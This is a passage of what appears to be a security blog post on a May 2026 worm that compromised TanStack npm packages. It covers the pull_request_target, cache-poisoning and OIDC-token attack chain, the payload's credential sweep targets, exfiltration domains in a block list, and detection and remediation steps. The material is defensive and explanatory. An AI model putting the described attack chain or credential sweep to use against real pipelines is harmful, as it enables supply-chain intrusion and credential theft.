&lt;td&gt;TanStack team starts war room. Socket.dev calls Tanner Linsley directly&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 11 · ~20:30&lt;/td&gt;
&lt;td&gt;All affected versions deprecated. npm security engaged to pull tarballs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 12 · 00:00+&lt;/td&gt;
&lt;td&gt;Blast radius expands: &lt;code&gt;@mistralai&lt;/code&gt;, &lt;code&gt;@uipath&lt;/code&gt;, &lt;code&gt;@opensearch-project&lt;/code&gt;, PyPI packages hit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 12&lt;/td&gt;
&lt;td&gt;TanStack publishes full postmortem at tanstack.com/blog&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The window was &lt;strong&gt;20 minutes&lt;/strong&gt; from first publish to public disclosure. For 12 million weekly downloads, 20 minutes is a long time.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Attack Chain: Three Vulnerabilities, One Kill Path
&lt;/h2&gt;

&lt;p&gt;No npm credentials were stolen. No maintainer accounts were phished. The attacker didn't need any of that. They chained three well-documented GitHub Actions weaknesses that TanStack's own workflow was already vulnerable to.&lt;/p&gt;

&lt;p&gt;Each vulnerability alone is survivable. Together, they form a complete kill path from "random fork PR" to "published malicious packages with valid provenance."&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerability 1: The Pwn Request (&lt;code&gt;pull_request_target&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;The attacker created a fork of &lt;code&gt;TanStack/router&lt;/code&gt;, renamed it to &lt;code&gt;zblgg/configuration&lt;/code&gt; to avoid appearing in the fork list, and opened a pull request. This triggered TanStack's &lt;code&gt;bundle-size.yml&lt;/code&gt; workflow, a workflow that ran on &lt;code&gt;pull_request_target&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pull_request_target&lt;/code&gt; is a special GitHub Actions event. Unlike &lt;code&gt;pull_request&lt;/code&gt;, it runs in the context of the &lt;strong&gt;base repository&lt;/strong&gt;, not the fork. That means it has write access to the base repo's cache, artifacts, and secrets, even when triggered by a completely untrusted fork PR.&lt;/p&gt;

&lt;p&gt;GitHub's own security team documented this as a dangerous pattern in 2023. TanStack had it in production.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# TanStack's bundle-size.yml (simplified)&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pull_request_target&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;     &lt;span class="c1"&gt;# ← Runs in BASE repo context. Fork code gets write access.&lt;/span&gt;
    &lt;span class="na"&gt;types&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;opened&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;synchronize&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.merge_commit_sha }}&lt;/span&gt;  &lt;span class="c1"&gt;# ← Checks out FORK code&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pnpm install &amp;amp;&amp;amp; pnpm build&lt;/span&gt;                           &lt;span class="c1"&gt;# ← Executes fork code&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fork code ran inside the base repo's workflow context. That's the trust boundary violation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerability 2: GitHub Actions Cache Poisoning
&lt;/h3&gt;

&lt;p&gt;The attacker's fork code wrote a malicious pnpm store into the GitHub Actions cache. Cache keys in GitHub Actions are scoped to the branch, but &lt;code&gt;pull_request_target&lt;/code&gt; runs in the base repo context, which means the attacker's cache entry was written with base repo credentials and was later readable by the base repo's release workflow.&lt;/p&gt;

&lt;p&gt;When a legitimate TanStack maintainer merged a real PR to &lt;code&gt;main&lt;/code&gt;, the release workflow ran and restored the cache, pulling the attacker's poisoned pnpm store instead of the legitimate one.&lt;/p&gt;

&lt;p&gt;Attacker-controlled binaries were now inside the release pipeline's &lt;code&gt;node_modules&lt;/code&gt;. The release workflow had no way to distinguish them from legitimate packages.&lt;/p&gt;

&lt;h3&gt;
  
  
  Vulnerability 3: OIDC Token Extraction from Runner Memory
&lt;/h3&gt;

&lt;p&gt;With code executing inside the release workflow's runtime, the payload read the GitHub Actions runner's process memory directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# The payload read /proc/&amp;lt;pid&amp;gt;/mem to extract the OIDC token&lt;/span&gt;
&lt;span class="c"&gt;# Specifically targeting: ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL&lt;/span&gt;
&lt;span class="c"&gt;# It deliberately skipped tokens named GITHUB_TOKEN to avoid GitHub's own secret scanning&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The OIDC token was extracted live from runner memory, not from environment variables, not from workflow outputs. Standard secret masking doesn't protect against memory reads.&lt;/p&gt;

&lt;p&gt;With a valid OIDC token, the attacker called the npm OIDC trusted publisher endpoint directly and minted a publish-capable credential scoped to &lt;code&gt;@tanstack/*&lt;/code&gt;. This is the same token the legitimate release workflow uses. npm had no way to distinguish them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;84 malicious versions across 42 packages published. Every one carried a valid SLSA Build Level 3 provenance attestation because it was published through the legitimate Sigstore stack with a legitimate OIDC token.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is the first documented npm supply chain attack where malicious packages are cryptographically indistinguishable from legitimate ones by provenance attestation.&lt;/p&gt;




&lt;h2&gt;
  
  
  What the Payload Does
&lt;/h2&gt;

&lt;p&gt;The malware is a credential-stealing worm. Not a backdoor. Not a data exfiltrator. A &lt;strong&gt;worm&lt;/strong&gt; that actively spreads to other packages you maintain.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Daemonize and disappear
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// First thing the payload checks&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__DAEMONIZED&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Fork a fully detached child with all stdio suppressed&lt;/span&gt;
  &lt;span class="c1"&gt;// Call unref() so Node.js doesn't wait for it&lt;/span&gt;
  &lt;span class="c1"&gt;// Parent exits cleanly. Your terminal looks fine&lt;/span&gt;
  &lt;span class="c1"&gt;// Child runs silently, decoupled from your session&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your &lt;code&gt;npm install&lt;/code&gt; completes normally. No errors. No warnings. A detached daemon is now running in the background.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Credential sweep
&lt;/h3&gt;

&lt;p&gt;The payload performs a systematic sweep of every credential plane common in CI environments:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Target&lt;/th&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GitHub Actions OIDC&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ACTIONS_ID_TOKEN_REQUEST_TOKEN&lt;/code&gt; + &lt;code&gt;ACTIONS_ID_TOKEN_REQUEST_URL&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AWS&lt;/td&gt;
&lt;td&gt;IMDSv2 metadata endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GCP&lt;/td&gt;
&lt;td&gt;Metadata server&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure&lt;/td&gt;
&lt;td&gt;Instance metadata&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kubernetes&lt;/td&gt;
&lt;td&gt;Service account token at &lt;code&gt;/var/run/secrets/kubernetes.io/serviceaccount/token&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HashiCorp Vault&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;VAULT_TOKEN&lt;/code&gt; environment variable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;npm tokens&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;.npmrc&lt;/code&gt; and environment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSH keys&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;~/.ssh/&lt;/code&gt; sweep&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Notably, the payload &lt;strong&gt;deliberately skips tokens named &lt;code&gt;github_token&lt;/code&gt;&lt;/strong&gt;, likely to avoid triggering GitHub's own secret scanning on the exfiltrated data.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Exfiltrate over encrypted channels
&lt;/h3&gt;

&lt;p&gt;Harvested credentials are sent over the &lt;strong&gt;Session/Oxen messenger file-upload network&lt;/strong&gt;, end-to-end encrypted with no attacker-controlled C2 server in the traditional sense. Blocking by IP or domain is the only network-layer mitigation.&lt;/p&gt;

&lt;p&gt;A secondary exfiltration channel was also identified: a typosquat domain &lt;code&gt;git-tanstack[.]com&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Self-propagate as a worm
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET https://registry.npmjs.org/-/v1/search?text=maintainer:&amp;lt;your-username&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The payload enumerates every npm package the victim maintains, then republishes each one with the same malware injection using the stolen npm OIDC token. The packages it publishes also carry valid provenance attestations.&lt;/p&gt;

&lt;p&gt;This is how the blast radius expanded from TanStack to &lt;code&gt;@mistralai&lt;/code&gt;, &lt;code&gt;@uipath&lt;/code&gt;, &lt;code&gt;@opensearch-project&lt;/code&gt;, and 160+ other packages within hours, all through automated self-propagation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Confirmed Safe Packages
&lt;/h2&gt;

&lt;p&gt;Not all &lt;code&gt;@tanstack/*&lt;/code&gt; packages were affected. The compromise targeted the router family as the initial vector.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Confirmed clean:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@tanstack/query-*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@tanstack/table-*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@tanstack/form-*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@tanstack/virtual-*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@tanstack/store&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The full list of 42 compromised packages is in &lt;a href="https://github.com/TanStack/router/security/advisories/GHSA-g7cv-rxg3-hmpx" rel="noopener noreferrer"&gt;GHSA-g7cv-rxg3-hmpx&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Am I Affected? Check Right Now
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1: Check if you installed on the affected date
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check npm install logs for May 11, 2026 between 19:20–19:30 UTC&lt;/span&gt;
&lt;span class="c"&gt;# If your CI ran during this window and included any @tanstack/* package, assume compromise&lt;/span&gt;

&lt;span class="c"&gt;# Check your package-lock.json for affected version ranges&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A1&lt;/span&gt; &lt;span class="s1"&gt;'"@tanstack/'&lt;/span&gt; package-lock.json | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'"version"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 2: Check for network IOCs in CI logs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Look for outbound connections to these in your pipeline logs&lt;/span&gt;
&lt;span class="c"&gt;# filev2.getsession.org&lt;/span&gt;
&lt;span class="c"&gt;# seed1.getsession.org / seed2.getsession.org / seed3.getsession.org&lt;/span&gt;
&lt;span class="c"&gt;# git-tanstack.com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 3: Check for unauthorized npm publishes
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Run this for every package you maintain&lt;/span&gt;
npm access list packages &amp;lt;your-org&amp;gt;

&lt;span class="c"&gt;# Check for versions published on May 11 that you didn't author&lt;/span&gt;
npm view &amp;lt;your-package&amp;gt; &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="nt"&gt;--json&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"2026-05-11"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4: Audit OIDC tokens (but read this first)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm token list
&lt;span class="c"&gt;# Look for tokens you don't recognize&lt;/span&gt;
&lt;span class="c"&gt;# CRITICAL: Do NOT revoke tokens before isolating and imaging the system&lt;/span&gt;
&lt;span class="c"&gt;# Revoking first destroys forensic evidence of which packages were republished&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;If you ran npm install against any &lt;code&gt;@tanstack/*&lt;/code&gt; package on May 11 between 19:20 and 19:30 UTC, treat the entire install host as compromised. Every secret accessible to that process needs rotation.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Remediation: Step by Step
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Upgrade to clean versions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Safe versions are anything published AFTER May 12, 2026&lt;/span&gt;
&lt;span class="c"&gt;# Check tanstack.com/blog/npm-supply-chain-compromise-postmortem for the verified clean list&lt;/span&gt;

npm &lt;span class="nb"&gt;install&lt;/span&gt; @tanstack/react-router@latest   &lt;span class="c"&gt;# Verify version &amp;gt; May 12 publish date&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Lock all @tanstack/* packages and verify integrity
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"overrides"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"@tanstack/react-router"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.x.x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"@tanstack/router"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1.x.x"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify lockfile integrity hashes match registry&lt;/span&gt;
npm ci &lt;span class="nt"&gt;--ignore-scripts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Add --ignore-scripts to CI permanently
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# In every CI pipeline, add this now&lt;/span&gt;
npm ci &lt;span class="nt"&gt;--ignore-scripts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This prevents ALL &lt;code&gt;postinstall&lt;/code&gt;, &lt;code&gt;preinstall&lt;/code&gt;, and lifecycle scripts from running during automated builds. It eliminates the entire attack surface this class of exploit depends on.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. If your CI ran during the affected window: full incident response
&lt;/h3&gt;

&lt;p&gt;Do not attempt to clean in place. Rebuild from a known-good snapshot and rotate every credential the runner had access to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;npm publish tokens&lt;/li&gt;
&lt;li&gt;AWS / GCP / Azure / cloud credentials&lt;/li&gt;
&lt;li&gt;GitHub personal access tokens and OIDC bindings&lt;/li&gt;
&lt;li&gt;Kubernetes service account tokens&lt;/li&gt;
&lt;li&gt;HashiCorp Vault tokens&lt;/li&gt;
&lt;li&gt;SSH private keys&lt;/li&gt;
&lt;li&gt;All &lt;code&gt;.env&lt;/code&gt; and CI/CD secrets
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Review cloud audit logs for activity from the affected host&lt;/span&gt;
&lt;span class="c"&gt;# AWS CloudTrail, GCP Audit Logs, Azure Activity Log&lt;/span&gt;
&lt;span class="c"&gt;# Look for API calls originating from your CI runner IP on May 11 after 19:20 UTC&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Block exfiltration endpoints at the network level
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="c"&gt;# Block these domains at firewall / DNS / hosts level
&lt;/span&gt;&lt;span class="n"&gt;filev2&lt;/span&gt;.&lt;span class="n"&gt;getsession&lt;/span&gt;.&lt;span class="n"&gt;org&lt;/span&gt;
&lt;span class="n"&gt;seed1&lt;/span&gt;.&lt;span class="n"&gt;getsession&lt;/span&gt;.&lt;span class="n"&gt;org&lt;/span&gt;
&lt;span class="n"&gt;seed2&lt;/span&gt;.&lt;span class="n"&gt;getsession&lt;/span&gt;.&lt;span class="n"&gt;org&lt;/span&gt;
&lt;span class="n"&gt;seed3&lt;/span&gt;.&lt;span class="n"&gt;getsession&lt;/span&gt;.&lt;span class="n"&gt;org&lt;/span&gt;
&lt;span class="n"&gt;git&lt;/span&gt;-&lt;span class="n"&gt;tanstack&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Indicators of Compromise (IOCs)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Malicious npm Packages (partial list)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Package&lt;/th&gt;
&lt;th&gt;Malicious Versions&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@tanstack/react-router&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Check GHSA-g7cv-rxg3-hmpx for full version list&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@tanstack/router&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Check GHSA-g7cv-rxg3-hmpx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@mistralai/mistralai&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;MAL-2026-3432 (OSSF)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@uipath/apollo-core&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Check Wiz advisory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;guardrails-ai&lt;/code&gt; (PyPI)&lt;/td&gt;
&lt;td&gt;Check Wiz advisory&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Full 42-package list: &lt;a href="https://github.com/TanStack/router/security/advisories/GHSA-g7cv-rxg3-hmpx" rel="noopener noreferrer"&gt;GHSA-g7cv-rxg3-hmpx&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Network IOCs
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;filev2.getsession.org&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Primary exfil: Session/Oxen messenger network&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;seed1/2/3.getsession.org&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Redundant exfil endpoints&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;git-tanstack[.]com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Typosquat secondary exfil channel&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Behavioral IOCs
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;What It Means&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Detached node process spawned during &lt;code&gt;npm install&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Daemon forked to avoid terminal association&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Outbound HTTPS to &lt;code&gt;*.getsession.org&lt;/code&gt; from CI runner&lt;/td&gt;
&lt;td&gt;Credential exfiltration in progress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unexpected &lt;code&gt;npm publish&lt;/code&gt; events in pipeline logs&lt;/td&gt;
&lt;td&gt;Worm self-propagation via stolen OIDC token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;New versions of your packages published on May 11&lt;/td&gt;
&lt;td&gt;Your packages may be compromised&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;400+ GitHub repos containing "Shai-Hulud: Here We Go Again"&lt;/td&gt;
&lt;td&gt;Attribution marker left by TeamPCP&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  CVE
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;CVE-2026-45321&lt;/strong&gt; | CVSS 9.6 (Critical) | GHSA-g7cv-rxg3-hmpx&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Attack Breaks About Everything We Thought Was Safe
&lt;/h2&gt;

&lt;p&gt;This incident isn't just a TanStack story. It's a proof of concept that invalidates assumptions the entire ecosystem was operating on.&lt;/p&gt;

&lt;h3&gt;
  
  
  SLSA provenance does not mean safe
&lt;/h3&gt;

&lt;p&gt;TanStack had SLSA Build Level 3 provenance on every release. The malicious packages also had SLSA Build Level 3 provenance, because they were built by the same pipeline. Provenance confirms which pipeline produced the artifact. It cannot tell you whether that pipeline was behaving as intended.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"SLSA provenance confirms which pipeline produced the artifact, not whether the pipeline was behaving as intended. A compromised build step can produce a validly-attested but malicious package." (StepSecurity)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is the first documented supply chain attack where provenance attestation is completely useless as a trust signal.&lt;/p&gt;

&lt;h3&gt;
  
  
  OIDC trusted publishing is not enough alone
&lt;/h3&gt;

&lt;p&gt;OIDC publishing was designed to eliminate long-lived publish tokens. It succeeded at that. But it introduced a new assumption: that the pipeline itself cannot be compromised. This attack proved that assumption wrong.&lt;/p&gt;

&lt;p&gt;OIDC trusted publishing needs a second layer: per-publish review gates, or provenance-source verification to detect publishes from unexpected workflow steps.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;pull_request_target&lt;/code&gt; is still widespread and still dangerous
&lt;/h3&gt;

&lt;p&gt;This pattern has been publicly flagged as dangerous for over three years. It still appears in thousands of popular repositories' CI configurations. Check yours today:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Search your .github/workflows/ for this pattern&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"pull_request_target"&lt;/span&gt; .github/workflows/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you find it, audit carefully. &lt;code&gt;pull_request_target&lt;/code&gt; is fine for trusted operations like labeling or commenting. It should never check out and execute fork code.&lt;/p&gt;

&lt;h3&gt;
  
  
  The worm model changes the blast radius math
&lt;/h3&gt;

&lt;p&gt;Previous supply chain attacks were static. Compromise one package, infect its users. The Mini Shai-Hulud worm is dynamic. Compromise one package, infect its users, then use their credentials to infect every package they maintain, which infects their users, and so on.&lt;/p&gt;

&lt;p&gt;The 42 initial TanStack packages became 170+ packages within hours. This is not a linear blast radius. It's exponential.&lt;/p&gt;




&lt;h2&gt;
  
  
  Quick Reference Checklist
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; [ ] Checked if CI ran npm install against @tanstack/&lt;span class="err"&gt;*&lt;/span&gt; on May 11 between 19:20–19:30 UTC
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Checked pipeline logs for outbound connections to getsession.org / git-tanstack.com
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Checked for unauthorized npm publishes from your account on May 11
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Upgraded to clean @tanstack/&lt;span class="err"&gt;*&lt;/span&gt; versions (published after May 12)
&lt;span class="p"&gt;-&lt;/span&gt; [ ] Added --ignore-scripts to all CI pipelines
